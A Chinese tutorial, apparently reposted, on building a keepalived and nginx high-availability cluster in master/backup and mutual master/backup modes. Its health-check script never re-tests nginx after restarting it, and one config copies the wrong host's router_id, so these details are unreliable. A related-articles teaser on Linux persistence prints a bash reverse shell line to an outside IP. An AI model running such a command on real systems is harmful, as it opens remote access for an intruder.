keepalive和nginx高可用集群

news2024/12/22 17:00:42

keepalived 和 nginx 高可用集群搭建

主备模式

在这里插入图片描述

zyj86主机和zyj87主机安装nginx和keepalived

yum install nginx keepalived -y
systemctl enable --now nginx.service keepalived.service
主调度器配置

编辑zyj86主机(主)配置文件

vi /etc/keepalived/keepalived.conf
global_defs {
    notification_email {
        acassen@firewall.loc
        failover@firewall.loc
        sysadmin@firewall.loc
    }
    notification_email_from Alexandre.Cassen@firewall.loc
    smtp_server 192.168.3.86
    smtp_connect_timeout 30
    router_id zyj86 # 访问到主机,本机的hostname,需要修改
}
 
vrrp_script chk_nginx {
    script "/etc/keepalived/nginx_check.sh" # 检测脚本位置
    interval 2 #(检测脚本执行的间隔)
    weight 2 # 权重
}
 
vrrp_instance VI_1 {
    state MASTER # 备份服务器上将 MASTER 改为 BACKUP,需要修改
    interface ens160 #网卡名字,使用ifconfig查看,需要修改
    virtual_router_id 51 # 主、备机的 virtual_router_id 必须相同
    priority 100 # 主、备机取不同的优先级,主机值较大,备份机值较小,一般主100从90
    advert_int 1 # 每隔1秒发送心跳
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.3.188 #VRRP虚拟地址,也可以绑定多个虚拟ip
    }
    track_script {
        chk_nginx
    }

}

重启keepalived

systemctl restart keepalived.service 
从调度器配置

编辑zyj87主机(从)配置文件

vi /etc/keepalived/keepalived.conf
global_defs {
    notification_email {
        acassen@firewall.loc
        failover@firewall.loc
        sysadmin@firewall.loc
    }
    notification_email_from Alexandre.Cassen@firewall.loc
    smtp_server 192.168.3.87
    smtp_connect_timeout 30
    router_id zyj87 # 访问到主机,本机的hostname,需要修改
}
 
vrrp_script chk_nginx {
    script "/etc/keepalived/nginx_check.sh" # 检测脚本位置
    interval 2 #(检测脚本执行的间隔)
    weight 2 # 权重
}
 
vrrp_instance VI_1 {
    state BACKUP # 备份服务器上将 MASTER 改为 BACKUP,需要修改
    interface ens160 #网卡名字,使用ifconfig查看,需要修改
    virtual_router_id 51 # 主、备机的 virtual_router_id 必须相同
    priority 99 # 主、备机取不同的优先级,主机值较大,备份机值较小,一般主100从90
    advert_int 1 # 每隔1秒发送心跳
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.3.188 #VRRP虚拟地址,也可以绑定多个虚拟ip
    }
    track_script {
        chk_nginx
    }

}

重启keepalived

systemctl restart keepalived.service 

zyj86 zyj87主机编写Nginx状态检测脚本

vi /etc/keepalived/nginx_check.sh
#!/bin/bash
A=`ps -C nginx --no-header |wc -l`
if [ $A -eq 0 ];then
    # 这里需要替换成自己的nginx安装路径
    # 尝试重新启动nginx
    systemctl restart nginx
    # 睡眠2秒
    sleep 2
    if [ $A -eq 0 ];then
        #启动失败,将keepalived服务杀死。
        killall keepalived
    fi
fi

给脚本添加执行权限

chmod +x /etc/keepalived/nginx_check.sh

修改zyj86和zyj87主机的nginx配置文件

vi /etc/nginx/nginx.conf
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /run/nginx.pid;

# Load dynamic modules. See /usr/share/doc/nginx/README.dynamic.
include /usr/share/nginx/modules/*.conf;

events {
    worker_connections 1024;
}

http {
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile            on;
    tcp_nopush          on;
    tcp_nodelay         on;
    keepalive_timeout   65;
    types_hash_max_size 2048;

    include             /etc/nginx/mime.types;
    default_type        application/octet-stream;

    # Load modular configuration files from the /etc/nginx/conf.d directory.
    # See http://nginx.org/en/docs/ngx_core_module.html#include
    # for more information.
    include /etc/nginx/conf.d/*.conf;

    #访问主机列表
    upstream myserver {
        server 192.168.3.88  weight=1;
        server 192.168.3.89  weight=1;
    }

    server {
        listen       80 default_server;
        listen       [::]:80 default_server;
        server_name  _;

        # Load configuration files for the default server block.
        include /etc/nginx/default.d/*.conf;

        location / {
            proxy_pass http://myserver;
        }

    }

}

重启nginx

systemctl restart nginx

后台服务器配置

yum install httpd -y

zyj88主机

echo 88 > /var/www/html/index.html

zyj89主机

echo 89 > /var/www/html/index.html

启动服务

systemctl enable --now httpd

访问测试:

在这里插入图片描述

当其中一台调度器宕机后依旧可以访问

互为主备模式

在这里插入图片描述

zyj86主机和zyj87主机安装nginx和keepalived

yum install nginx keepalived -y
systemctl enable --now nginx.service keepalived.service
第一台调度器配置

编辑zyj86主机配置文件

vi /etc/keepalived/keepalived.conf
global_defs {
    notification_email {
        acassen@firewall.loc
        failover@firewall.loc
        sysadmin@firewall.loc
    }
    notification_email_from Alexandre.Cassen@firewall.loc
    smtp_server 192.168.3.86
    smtp_connect_timeout 30
    router_id zyj86 # 访问到主机,本机的hostname,需要修改
}

vrrp_script chk_nginx {
    script "/etc/keepalived/nginx_check.sh" # 检测脚本位置
    interval 2 #(检测脚本执行的间隔)
    weight 2 # 权重
}

vrrp_instance VI_1 {
    state MASTER # 备份服务器上将 MASTER 改为 BACKUP,需要修改
    interface ens160 #网卡名字,使用ifconfig查看,需要修改
    virtual_router_id 51 # 主、备机的 virtual_router_id 必须相同
    priority 100 # 主、备机取不同的优先级,主机值较大,备份机值较小,一般主100从90
    advert_int 1 # 每隔1秒发送心跳
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.3.188 # VRRP虚拟地址,也可以绑定多个虚拟ip
    }
    track_script {
        chk_nginx
    }
}

vrrp_instance VI_2 {
    state BACKUP # 备份服务器上将 MASTER 改为 BACKUP,需要修改
    interface ens160 #网卡名字,使用ifconfig查看,需要修改
    virtual_router_id 52 # 主、备机的 virtual_router_id 必须相同
    priority 79 # 主、备机取不同的优先级,主机值较大,备份机值较小,一般主100从90
    advert_int 1 # 每隔1秒发送心跳
    authentication {
        auth_type PASS
        auth_pass 2222
    }
    virtual_ipaddress {
        192.168.3.199 #VRRP虚拟地址,也可以绑定多个虚拟ip
    }
    track_script {
        chk_nginx
    }
}

重启keepalived

systemctl restart keepalived.service 
第二台调度器配置

编辑zyj87主机配置文件

global_defs {
    notification_email {
        acassen@firewall.loc
        failover@firewall.loc
        sysadmin@firewall.loc
    }
    notification_email_from Alexandre.Cassen@firewall.loc
    smtp_server 192.168.3.86
    smtp_connect_timeout 30
    router_id zyj86 # 访问到主机,本机的hostname,需要修改
}

vrrp_script chk_nginx {
    script "/etc/keepalived/nginx_check.sh" # 检测脚本位置
    interval 2 #(检测脚本执行的间隔)
    weight 2 # 权重
}

vrrp_instance VI_1 {
    state BACKUP # 备份服务器上将 MASTER 改为 BACKUP,需要修改
    interface ens160 #网卡名字,使用ifconfig查看,需要修改
    virtual_router_id 51 # 主、备机的 virtual_router_id 必须相同
    priority 99 # 主、备机取不同的优先级,主机值较大,备份机值较小,一般主100从90
    advert_int 1 # 每隔1秒发送心跳
    authentication {
        auth_type PASS
        auth_pass 1111
    }
    virtual_ipaddress {
        192.168.3.188 # VRRP虚拟地址,也可以绑定多个虚拟ip
    }
    track_script {
        chk_nginx
    }
}

vrrp_instance VI_2 {
    state MASTER # 备份服务器上将 MASTER 改为 BACKUP,需要修改
    interface ens160 #网卡名字,使用ifconfig查看,需要修改
    virtual_router_id 52 # 主、备机的 virtual_router_id 必须相同
    priority 80 # 主、备机取不同的优先级,主机值较大,备份机值较小,一般主100从90
    advert_int 1 # 每隔1秒发送心跳
    authentication {
        auth_type PASS
        auth_pass 2222
    }
    virtual_ipaddress {
        192.168.3.199 #VRRP虚拟地址,也可以绑定多个虚拟ip
    }
    track_script {
        chk_nginx
    }
}

重启keepalived

systemctl restart keepalived.service 

zyj86 zyj87主机编写Nginx状态检测脚本

vi /etc/keepalived/nginx_check.sh
#!/bin/bash
A=`ps -C nginx --no-header |wc -l`
if [ $A -eq 0 ];then
    # 这里需要替换成自己的nginx安装路径
    # 尝试重新启动nginx
    systemctl restart nginx
    # 睡眠2秒
    sleep 2
    if [ $A -eq 0 ];then
        #启动失败,将keepalived服务杀死。
        killall keepalived
    fi
fi

给脚本添加执行权限

chmod +x /etc/keepalived/nginx_check.sh

修改zyj86和zyj87主机的nginx配置文件

vi /etc/nginx/nginx.conf
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /run/nginx.pid;

# Load dynamic modules. See /usr/share/doc/nginx/README.dynamic.
include /usr/share/nginx/modules/*.conf;

events {
    worker_connections 1024;
}

http {
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile            on;
    tcp_nopush          on;
    tcp_nodelay         on;
    keepalive_timeout   65;
    types_hash_max_size 2048;

    include             /etc/nginx/mime.types;
    default_type        application/octet-stream;

    # Load modular configuration files from the /etc/nginx/conf.d directory.
    # See http://nginx.org/en/docs/ngx_core_module.html#include
    # for more information.
    include /etc/nginx/conf.d/*.conf;

    #访问主机列表
    upstream myserver {
        server 192.168.3.88  weight=1;
        server 192.168.3.89  weight=1;
    }

    server {
        listen       80 default_server;
        listen       [::]:80 default_server;
        server_name  _;

        # Load configuration files for the default server block.
        include /etc/nginx/default.d/*.conf;

        location / {
            proxy_pass http://myserver;
        }

    }

}

重启nginx

systemctl restart nginx

后台服务器配置

yum install httpd -y

zyj88主机

echo 88 > /var/www/html/index.html

zyj89主机

echo 89 > /var/www/html/index.html

启动服务

systemctl enable --now httpd

访问测试:
在这里插入图片描述
当其中一台调度器宕机后依旧可以访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2119453.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java类和对象(2)(重点*)

封装: 面向对象程序三大特性:封装、继承、多态。而类和对象阶段,主要研究的就是封装特性。何为封装呢?简单来说就是套壳屏蔽细节 。 封装:将数据和操作数据的方法进行有机结合,隐藏对象的属性和实现细节&a…

为什么用Redis?说说Redis的线程模型

使用Redis存储相比直接使用Java内存的Map有以下几个优势: 持久化: Redis支持数据持久化,即使发生服务器重启或意外宕机,数据仍然可以被恢复。而使用Java内存的Map,当应用程序关闭或重启时,数据将会丢失。…

一个工程要兼容mysql8和mysql5

将mysql8原本jar包的jdbc文件夹删除,然后将mysql5 jar包的jdbc文件夹和fabric文件夹拉到mysql8的jar包下,记得别把jar包解压再压缩,以避免不必要的错误,直接用7-zip打开压缩包,然后拖拽操作,然后完美解决&a…

Java:类和方法(1)

一 类和对象分别是什么 1.类(class) 类是Java中的一种蓝图或模板,它定义了对象的属性(字段)和行为(方法)。你可以把类看作是一个抽象的概念,它描述了某类事物的共性。 class 类名…

硬件工程师笔试面试——IGBT

目录 7、IGBT(绝缘栅双极晶体管) 7.1 基础 IGBT结构引脚图 IGBT实物图 7.1.1 概念 7.1.2 结构及原理 7.1.3 IGBT的安全工作区 7.1.4 IGBT分类 7.1.5 IGBT优缺点 7.2 相关问题 7.2.1 如何提高IGBT的开关速度和效率? 7.2.2 IGBT在太阳能光伏系统中的作用是什么,它如…

3GPP R18 Network energy savings(NES) 之cell DTX/DRX

在TR 21.918中可以看到cell DTX/DRX是Network energy savings(NES) for NR 的一部分,其中还包括 SSB-less SCell operation for inter-band CA等等其他内容,其相关描述如下 网络节能是 5G/NR 成功的关键,由此可以减少对环境的影响(温室气体排放)并节省运营成本。RAN WG 进…

ICE 8月各项板块盈利报告,人工智能与高频交易驱动稳定收益

Intercontinental Exchange Inc.(ICE.AI)近日发布了8月份市场交易报告和盈利数据,于8月份通过其先进的人工智能算法和高频交易系统,再次证明了在快速变化的金融市场中实现稳定收益的能力。凭借智能化的交易决策和超高的交易执行速度,ICE.AI帮助每一位用户在全球市场中获得了显著…

基于人工智能的智能垃圾分类系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练与预测应用场景结论 1. 引言 随着环保意识的提升,垃圾分类已经成为许多城市的重点任务。然而,传统的人工垃圾分类效率低下,容易出…

机器学习:opencv--图像形态学

目录 前言 一、常用形态学操作 二、腐蚀和膨胀 1.图像腐蚀 2.图形膨胀 三、开运算和闭运算 1.开运算 2.闭运算 四、顶帽和黑帽 1.顶帽 2.黑帽 五、梯度运算 总结 前言 图像形态学是一种用于处理和分析图像形状和结构的技术。 一、常用形态学操作 膨胀&#xff08…

【CanMV K230】快速线性回归(巡线)

【CanMV K230】快速线性回归(巡线) 什么是快速线性回归快速线性回归应用领域1.机器人竞赛2.自动引导车(AGV):3.智能交通系统: K230应用相关函数官方例程实现图像在HDMI显示器进快速线性回归(巡线…

C++基础知识6 vector

vector 1.vector的介绍及使用1.1 vector的介绍1.2 vector的使用1.2.1 vector的定义1.2.2 vector iterator 的使用1.2.3 vector 常用的接口1.2.4 vector 空间增长问题1.2.4 vector 迭代器失效问题。(重点) 2.vector模拟实现 1.vector的介绍及使用 1.1 ve…

数据分析-埋点

1、数据埋点的定义 针对特定用户行为或事件进行捕获、处理何发送的相关技术及其实施过程。 2、数据埋点的原理 埋点是数据采集的重要方式。通过在页面上植入代码,监控用户行为(例:页面加载、按钮点击等)。用户一旦触发了该事件,就会根据埋点信息将相关数…

Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!“#Linux系统编程《网盘项目》

"Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!"#Linux系统编程《网盘项目》 前言预备知识一、 项目功能二、 程序基本框架2.1 服务器程序流图2.2 客户端程序流图 三、 程序代码解析3.1 服务器代码解析3.1.1 …

Spring6学习笔记3:AOP

文章目录 1 场景模拟1.1 声明接口1.2 创建实现类1.3 创建带日志功能的实现类1.4 提出问题 2 代理模式2.1 概念2.2 静态代理2.3 动态代理2.4 测试 3 AOP概念及相关术语3.1 概述3.2 相关术语3.2.1 横切关注点3.2.2 通知(增强)3.2.3 切面3.2.4 目标3.2.5 代…

初始MYSQL数据库(4)—— “不一样的“新增与查询

找往期文章包括但不限于本期文章中不懂的知识点: 个人主页:我要学编程(ಥ_ಥ)-CSDN博客 所属专栏: MYSQL 目录 新增 查询 聚合查询 聚合查询的相关练习 GROUP BY子句 HAVING 联合查询 内连接 外连接 自连接 子查询 合并查询…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一:权限维持-Linux-定时任务-Cron后门 linux的计时任务,配置文件再/etc/crontab下 创建后门文件,这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

猫咪掉毛怎么处理?希喂、米家、范罗士宠物空气净化器用哪款?

我朋友在大学里养了两年猫,刚开始养的时候全寝都很喜欢,甚至隔壁宿舍的都来看,而且猫咪很亲人,没有对别人哈气,一片其乐融融的情景。 但是养了三个月之后,宿舍矛盾开始爆发,有一位舍友和她吵了…

博科测试业绩有所承压:资产负债率远高同行,连年分红后再补流

​ 《港湾商业观察》施子夫 王璐 日前,北京博科测试系统股份有限公司(以下简称,博科测试)提交了注册申请,其距离创业板上市更近一步。 时间线上,早在2022年4月21日,博科测试就递交招股书&…

goby/xray批量导入自定义poc(附2024红队POC)

自定义xray2024最新公开poc &#xff1a;夸克网盘分享 Xray Xray 官方文档 介绍 - xray Documentation 基础爬虫模式进行漏洞扫描 xray webscan --basic-crawler <URL> --html-output xray-crawler-testphp.html 基础模式进行漏洞扫描&#xff0c;不使用爬虫 xray …

VS Studio2022 最新的mission planner二次开发环境搭建 所有资源都在自己亲测 自己一步步搞出来的花了1个月(小白转行版

文章目录 1. 环境要求1.1 VS Studio下载1.2 Mission Planner2 Mission Planner打包msi(使用使用VisualStudio2022插件(Visual Studio Installer Projects 2022))3 打开设计器FlightData.cs1. 环境要求 Win10以上(目前实测了11,10也可以的) 1.1 VS Studio下载 VS Studio20…